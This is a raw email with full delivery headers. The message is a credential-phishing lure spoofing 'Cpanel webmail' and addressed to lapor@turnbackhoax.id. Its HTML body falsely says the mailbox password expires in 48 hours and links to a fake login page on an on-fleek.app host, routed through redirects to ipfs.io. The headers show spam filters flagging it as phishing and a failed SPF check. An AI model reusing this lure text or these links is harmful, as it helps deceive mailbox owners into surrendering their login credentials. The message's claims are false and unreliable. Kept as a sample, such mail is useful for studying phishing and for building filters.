|
X-He-Spam-Score: 10.4
|
|
Return-Path: <lapor@turnbackhoax.id>
|
|
Delivered-To: dropbox@plan.io
|
|
Received: from m.launch.gmbh ([127.0.0.1])
|
|
by m.launch.gmbh with LMTP
|
|
id eJfxHDJSPWdXbiUAJzdhvw
|
|
(envelope-from <lapor@turnbackhoax.id>)
|
|
for <dropbox@plan.io>; Wed, 20 Nov 2024 04:06:26 +0100
|
|
X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on m.launch.gmbh
|
|
X-Spam-Flag: YES
|
|
X-Spam-Level: **********
|
|
X-Spam-Status: Yes, score=10.4 required=5.0 tests=BAYES_00,DMARC_NONE,
|
|
FROM_IN_TO_AND_SUBJ,HTML_FONT_SIZE_HUGE,HTML_MESSAGE,MIME_HTML_ONLY,
|
|
RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DNSWL_NONE,RCVD_IN_MSPIKE_H2,
|
|
RCVD_IN_SBL_CSS,RCVD_IN_VALIDITY_RPBL_BLOCKED,
|
|
RCVD_IN_VALIDITY_SAFE_BLOCKED,SPF_HELO_NONE,SPF_PASS,TO_IN_SUBJ,
|
|
T_KAM_HTML_FONT_INVALID,URIBL_DBL_PHISH,URI_IPFS,URI_IPFSIO
|
|
autolearn=no autolearn_force=no version=3.4.6
|
|
X-Spam-Report:
|
|
* 2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
|
|
* DBL blocklist
|
|
* [URIs: on-fleek.app]
|
|
* -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1%
|
|
* [score: 0.0000]
|
|
* 0.1 DMARC_NONE DMARC record not found
|
|
* -0.1 SPF_PASS SPF check passed
|
|
* 3.3 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS
|
|
* [172.245.93.79 listed in zen.spamhaus.org]
|
|
* -0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at
|
|
* https://www.dnswl.org/, no trust
|
|
* [64.90.62.164 listed in list.dnswl.org]
|
|
* 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
|
|
* bl.spamcop.net
|
|
* [Blocked - see <https://www.spamcop.net/bl.shtml?172.245.93.79>]
|
|
* 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record
|
|
* -0.0 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
|
|
* [64.90.62.164 listed in wl.mailspike.net]
|
|
* 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
|
|
* 0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
|
|
* 0.0 HTML_MESSAGE BODY: HTML included in message
|
|
* 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
|
|
* query to Validity was blocked. See
|
|
* https://knowledge.validity.com/hc/en-us/articles/20961730681243
|
|
* for more information.
|
|
* [64.90.62.164 listed in sa-trusted.bondedsender.org]
|
|
* 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
|
|
* query to Validity was blocked. See
|
|
* https://knowledge.validity.com/hc/en-us/articles/20961730681243
|
|
* for more information.
|
|
* [64.90.62.164 listed in bl.score.senderscore.com]
|
|
* 3.2 URI_IPFSIO References Interplanetary File System PtP content
|
|
* via ipfs.io, likely phishing
|
|
* 0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
|
|
* Colors in HTML
|
|
* 0.0 URI_IPFS References Interplanetary File System PtP content,
|
|
* probable phishing
|
|
* 1.6 FROM_IN_TO_AND_SUBJ From address is in To and Subject
|
|
* 0.1 TO_IN_SUBJ To address is in Subject
|
|
X-Spam-Score: 10.4
|
|
Authentication-Results: m.launch.gmbh; dmarc=none (p=none dis=none) header.from=turnbackhoax.id
|
|
Authentication-Results: m.launch.gmbh; spf=pass smtp.mailfrom=turnbackhoax.id
|
|
Authentication-Results: m.launch.gmbh; dkim=none; dkim-atps=neutral
|
|
Envelope-to: inbox+rlxc+36be+hoax-clearing-center@plan.io
|
|
Received: from pdx1-sub0-mail-mx205.dreamhost.com (fltr-in2.mail.dreamhost.com [64.90.62.164])
|
|
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
|
|
key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
|
|
(No client certificate requested)
|
|
by m.launch.gmbh (Postfix) with ESMTPS id E748C1679DE
|
|
for <inbox+rlxc+36be+hoax-clearing-center@plan.io>; Wed, 20 Nov 2024 04:06:25 +0100 (CET)
|
|
Received: from postfix-inbound-v2-4.inbound.mailchannels.net (inbound-egress-7.mailchannels.net [23.83.220.5])
|
|
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
|
|
key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
|
|
(No client certificate requested)
|
|
by pdx1-sub0-mail-mx205.dreamhost.com (Postfix) with ESMTPS id 4XtR8b49gMz7WBf
|
|
for <lapor@turnbackhoax.id>; Tue, 19 Nov 2024 19:06:23 -0800 (PST)
|
|
ARC-Seal: i=1; s=arc-2022; d=mailchannels.net; t=1732071982; a=rsa-sha256;
|
|
cv=none;
|
|
b=G68QXntcz18fSMffeJsAskgYWgNCdmnoHD4/VbDZkagRbI7rPznlrGpcPyCDr7xzXDgoAr
|
|
uMEh9uLFRblHmbealJphWrY9mqeJFFjIL+h8A4G1VOtdnCDZuvzCq0UV8r+dYmPDSm2Vfx
|
|
Z87kW3gUeaxzFX7F495sproQ4f3gHfcTT0qocCaN6byQvAbmn+5ehPfBuwF3F6hgLVYdGn
|
|
JCLfGp0/e1cIl3EH1LZj8n0ukTnXv3JgsoC+/CGbWBAwseaPel43rqD2zBMUwTScUAagO+
|
|
thr+uYw23g94kMhYCgICYC9vhsASL95Fuvi2hPajY1NQMQRdwAm/+wQddrahdw==
|
|
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed;
|
|
d=mailchannels.net;
|
|
s=arc-2022; t=1732071982;
|
|
h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
|
|
to:to:cc:mime-version:mime-version:content-type:content-type:
|
|
content-transfer-encoding:content-transfer-encoding;
|
|
bh=wef5bZ7Pv7+0l7Nj6v6cclkIxp2id5cNuPa9pqK3FmY=;
|
|
b=Zfqr3FW+ze7im7tjG1RkZkGPDXpvoO5TlUxPeSK6fS4Hg9kxCj2TaVb+Bi6bcxWAXPFoJm
|
|
EpaIk33AL/tHQIbWIPJlAJtInhYln6sKbOAvRvpSP1dc7BzD+Xggw0OmPNJzqGAA2omux8
|
|
1/8yc5OgjlcWRu0r239inH7f0j4SzEP1VGS1snD3SoFXIpyE5/CEHshOvumd1ba1XS7Zha
|
|
9UuTpr9kkaFiq43EEviXn+XESX6i+T39KCl/Ib8GXafKObpqSg7AlsQmx9h0rv+Yu5TabS
|
|
VExHYTUdYp+cz7H1o0h/Y6XeNDTD66L67sudaDgRbGTt7NIohAjmOocG+Wb9NA==
|
|
ARC-Authentication-Results: i=1;
|
|
inbound-rspamd-75b54c7bfc-cv9fb;
|
|
none
|
|
X-VR-STATUS: SPAM
|
|
X-Message-ID: xCXE6wfoXJE9wJWgoOywzr7R
|
|
Received: from turnbackhoax.id ([UNAVAILABLE]. [172.245.93.79])
|
|
by 100.112.46.77 (trex/6.10.3);
|
|
Wed, 20 Nov 2024 03:06:22 +0000
|
|
Authentication-Results: inbound.mailchannels.net;
|
|
spf=fail smtp.mailfrom=lapor@turnbackhoax.id;
|
|
dkim=none;
|
|
dmarc=none;
|
|
arc=none
|
|
Received-SPF: fail (dmarc-service-67bfcc5cbc-7r4lk: domain of turnbackhoax.id
|
|
does not designate 172.245.93.79 as permitted sender)
|
|
client-ip=172.245.93.79; envelope-from=lapor@turnbackhoax.id;
|
|
helo=turnbackhoax.id;
|
|
From: Webmail <lapor@turnbackhoax.id>
|
|
To: lapor@turnbackhoax.id
|
|
Subject: Password Expiration - Action Required lapor@turnbackhoax.id
|
|
Date: 20 Nov 2024 04:06:22 +0100
|
|
Message-ID: <20241120040622.19E307A1B7283F79@turnbackhoax.id>
|
|
MIME-Version: 1.0
|
|
Content-Type: text/html;
|
|
charset="iso-8859-1"
|
|
Content-Transfer-Encoding: quoted-printable
|
|
|
|
<!DOCTYPE HTML>
|
|
|
|
<html><head><title></title>
|
|
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
|
|
</head>
|
|
<body style=3D"margin: 0.4em;"><div style=3D"margin: 0.5em;"><p align=3D"ce=
|
|
nter" style=3D"color: rgb(44, 54, 58); text-transform: none; text-indent: 0=
|
|
px; letter-spacing: normal; font-family: system; font-size: 15px; font-styl=
|
|
e: italic; font-weight: bold; margin-top: 0px; word-spacing: 0px; white-spa=
|
|
ce: normal; box-sizing: border-box; background-color: rgb(255, 255, 255); f=
|
|
ont-variant-ligatures: normal; font-variant-caps: normal; text-decoration-s=
|
|
tyle: initial; text-decoration-color: initial;">
|
|
<font color=3D"#fd7902" size=3D"7" style=3D"box-sizing: border-box;">Cpanel=
|
|
webmail</font></p>
|
|
<p align=3D"center" style=3D"color: rgb(44, 54, 58); text-transform: none; =
|
|
text-indent: 0px; letter-spacing: normal; font-family: arial, sans-serif; f=
|
|
ont-size: 14px; font-style: normal; font-weight: 400; margin-top: 0px; word=
|
|
-spacing: 0px; white-space: normal; box-sizing: border-box; background-colo=
|
|
r: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: n=
|
|
ormal; text-decoration-style: initial; text-decoration-color: initial;">
|
|
<span style=3D"color: rgb(44, 54, 58); font-family: roboto, sans-serif; fon=
|
|
t-size: 14px; box-sizing: border-box;"><font color=3D"#333333" size=3D"5" s=
|
|
tyle=3D"box-sizing: border-box;">turnbackhoax.id Support!!<br style=3D=
|
|
"box-sizing: border-box;"><br style=3D"box-sizing: border-box;"></font><fon=
|
|
t size=3D"5" style=3D"box-sizing: border-box;">Your <span><span style=
|
|
=3D"color: rgb(44, 54, 58); font-family: roboto, sans-serif; font-size: 14p=
|
|
x; box-sizing: border-box;">
|
|
<font color=3D"#333333" size=3D"5" style=3D"box-sizing: border-box;">lapor@=
|
|
turnbackhoax.id</font></span></span></font></span><span> </span><span =
|
|
style=3D"color: rgb(44, 54, 58); font-family: roboto, sans-serif; font-size=
|
|
: 14px; box-sizing: border-box;"><font size=3D"5" style=3D"box-sizing: bord=
|
|
er-box;"> password will expire in 48 hours.</font></span></p>
|
|
<p align=3D"center" style=3D"color: rgb(44, 54, 58); text-transform: none; =
|
|
text-indent: 0px; letter-spacing: normal; font-family: arial, sans-serif; f=
|
|
ont-size: 14px; font-style: normal; font-weight: 400; margin-top: 0px; word=
|
|
-spacing: 0px; white-space: normal; box-sizing: border-box; background-colo=
|
|
r: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: n=
|
|
ormal; text-decoration-style: initial; text-decoration-color: initial;">
|
|
<span style=3D"color: rgb(44, 54, 58); font-family: roboto, sans-serif; fon=
|
|
t-size: 14px; box-sizing: border-box;"><font size=3D"1" style=3D"box-sizing=
|
|
: border-box;">Alternatively, you can retain and continue using your existi=
|
|
ng password for your sign in with the below link.</font><br style=3D"box-si=
|
|
zing: border-box;"><br style=3D"box-sizing: border-box;"><br style=3D"box-s=
|
|
izing: border-box;"><br style=3D"box-sizing: border-box;"><u style=3D"box-s=
|
|
izing: border-box;">
|
|
<font face=3D"Arial" size=3D"3" style=3D"box-sizing: border-box;">
|
|
<a style=3D"color: rgb(0, 172, 255); text-decoration: none; box-sizing: bor=
|
|
der-box; background-color: transparent;" href=3D"https://future-area-most.o=
|
|
n-fleek.app/WebmailL.html#" target=3D"_blank" rel=3D"noreferrer" data-safer=
|
|
edirecturl=3D"https://www.google.com/url?q=3Dhttps://secure.adnxs.com/clktr=
|
|
b?id%3D704169%26redir%3Dhttps://ipfs.io/ipfs/QmU94GBbtrhAxjtSp5d9PZ6JjcbmJG=
|
|
FSMcr7xWAUzuqrir%23info@vsu.am&source=3Dgmail&ust=3D173201908451500=
|
|
0&usg=3DAOvVaw31qFwUEnqOiA5Sn45aINYf">
|
|
Click Here To Continue Using Existing Password</a></font></u><br style=3D"b=
|
|
ox-sizing: border-box;"><br style=3D"box-sizing: border-box;"><font color=
|
|
=3D"#000000" size=3D"1" style=3D"box-sizing: border-box;">Automated Message=
|
|
</font><font color=3D"#000000" size=3D"6" style=3D"box-sizing: border-box;"=
|
|
> </font></span><span style=3D"color: rgb(51, 51, 51); font-family: ro=
|
|
boto, sans-serif; font-size: 14px; box-sizing: border-box;">18/11/2024 11/2=
|
|
0/2024 4:06:22 a.m..<br style=3D"box-sizing: border-box;"></span>
|
|
<span style=3D"color: rgb(44, 54, 58); font-family: roboto, sans-serif; fon=
|
|
t-size: 14px; box-sizing: border-box;"><br style=3D"box-sizing: border-box;=
|
|
"></span><span style=3D"color: rgb(51, 51, 51); font-family: roboto, sans-s=
|
|
erif; font-size: 14px; box-sizing: border-box;">turnbackhoax.id Mail =
|
|
Support</span></p></div></body></html>
|